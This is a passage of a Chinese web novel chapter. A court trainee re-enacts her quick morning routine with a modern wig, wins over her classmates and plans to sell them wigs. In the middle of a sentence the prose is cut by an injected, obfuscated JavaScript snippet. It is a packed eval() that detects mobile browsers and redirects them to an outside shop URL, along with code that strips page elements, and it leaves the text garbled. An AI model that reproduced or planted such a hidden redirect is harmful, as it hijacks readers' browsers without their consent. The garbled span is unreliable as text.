“好了,都别吵。既然你们各执一词,不如复原一下今天早晨的场景吧,正好下节课就是关于扎发髻的课程,所有图同学都去参观,当个见证。”赵同惠道,其实她并不相信宛东所说能快速挽发,要是宛东真每日束发睡觉这样偷懒,她一定严惩不怠。 “好。” 宛东、丹桂和绮罗的三人寝室里站满了人,所有人全都站在屋门口以及窗户外头,观看“场景复原”。 “铃铃铃!”赵同惠站在窗外,重新摇起代表起床的铃声。 披散着头发的丹桂和绮罗从榻上弹起来下了榻。 穿衣洗脸后丹桂坐在铜镜前梳头。 此时宛东还躺在被窝里,绮罗叫醒宛东,宛东翻了个身继续睡。 管教老师和赵同惠一起站在房间里,房间里是最直观能够看见“案发现场”的。 赵同惠表情严肃,管教老师看着被窝里的宛东忍不住轻叹了一口气,这孩子咋还睡呢,人家都起来半天了。 镜子前的丹桂已经把头发梳通,开始要编发了。 这会宛东终于从床上坐了起来,她依旧不着急,开始慢悠悠地穿衣服,穿完衣服将枕头塞进被子里,又去洗了把脸,甚至是哼着小曲的。 另一边丹桂已经在编最后一股头发了,只要这小股头发编成麻花辫就大功告成了。 “刚刚宛东是不是说丹桂编头发的时候出的门?” “按照之前宛东说的,她这个时候就应该出门了。” “但是……”提出疑惑的同学看向房间中的宛东。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925534|192456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但是她的头发还全都散着。 管教老师已经不想继续看下去了,她在思考,要是武英司真出了一个受刑罚的该怎么办。 火烧眉毛之际,宛东终于拿起了另一侧小梳妆台上的木梳,只见她将头发从前到后分了个印,拿起一根黑色的圆圈线绳将头发绑了个马尾又盘在脑后。 “我马上就要编完头发了。”丹桂露出得意的微笑。开始拿出红色的线绳绑发,等她用几息的时间把绳子绑好,宛东就再也不能狡辩了。 绮罗在另一处梳头,她也是还原场景的重要人物,她一边梳头一边将余光瞥向宛东,宛东的头发才刚分好,早晨的时候也没注意到宛东是怎么操作的,但是宛东确实和她同时出了门。 将马尾扎好后,柳宛东从梳妆小柜里拿出淘宝买的一体式假发,放在头上,然后一边往门口走一边拿出几个U型夹固定,等她走到门口假发也固定好了,绮罗也刚好梳洗好,于是二人一起出了门。 而另一边,丹桂的绳结还没有完全编好。 “果真如宛东所说!她就是在瞬息之间梳洗完毕的。”管教老师松了一口气,赞赏道。 “哇!你这是什么假发啊,宛东,”这是才看清宛东操作的绮罗惊讶不已,她伸手碰了碰她的假发,要不是亲眼所见,她还以为那发髻是宛东自己的头发呢。“这是你用真发做的假发?” 宛东笑,“如何?是不是很逼真!” “太真了,而且太方便了!” “你这个头发真好,这样早上就能多睡会了!” “太厉害了!” 一时间几乎所有的培训同学全都奔着宛东的假发去了,她们又看又摸,全都特别惊奇。 “你这个假发肯定很贵吧,这种真发只有贵胄才能够买得起!”一个同学问。 毕竟她们用的假发有线绳、有鬃毛还有木片,但是真发很少很少。 因为真发很难固定住,而且身体发肤受之父母,谁会将自己的头发随便剪下来那么大块呢,所以真发来源稀少,价格昂贵。 “其实啊,这不是真发,你们再仔细感觉一下!”柳宛东道。 “好像和真发是不太一样诶,”一个培训生捻了捻,“这好像更硬?” “嗯!这个假发一点都不贵。只要100钱。”淘宝上的假发只要不到20块,还送很多U型夹和发网,柳宛东决定含泪赚她们80。 “只要100钱?!” “在哪买的?” “我也想买!” 一群人报名想买,柳宛东很快就摸清楚了想买假发的那些人的意愿,她迅速记在心里。 丹桂幽怨地站在寝室门口,没想到宛东竟然能有如此手段,她真是哑巴吃黄连,恭桶刷了,洋相也出了,现在又被宛东砸实是信口雌黄,以后她说话的可信度可就大打折扣了。 “好了好了,都回到教室中去。不许再争什么最后迟到倒二迟到了,以后谁再迟到全都统一去院子里面壁。”赵同惠严肃道。 赵同惠看着宛东的背影,这个宛东确实比她想象中要聪明一点,假发套确实是她所见过的所有假发中做得最好最逼真最轻巧的,而且非常方便,几乎不费时间。 * 【主线[升职]任务——打脸虐渣进度达成20%,请再接再厉。】 柳宛东正高兴的时候,宫外头却传来姥姥的消息,宛铮被官府拘了,罪名是低价卖抄本,扰乱市场,要下大狱的!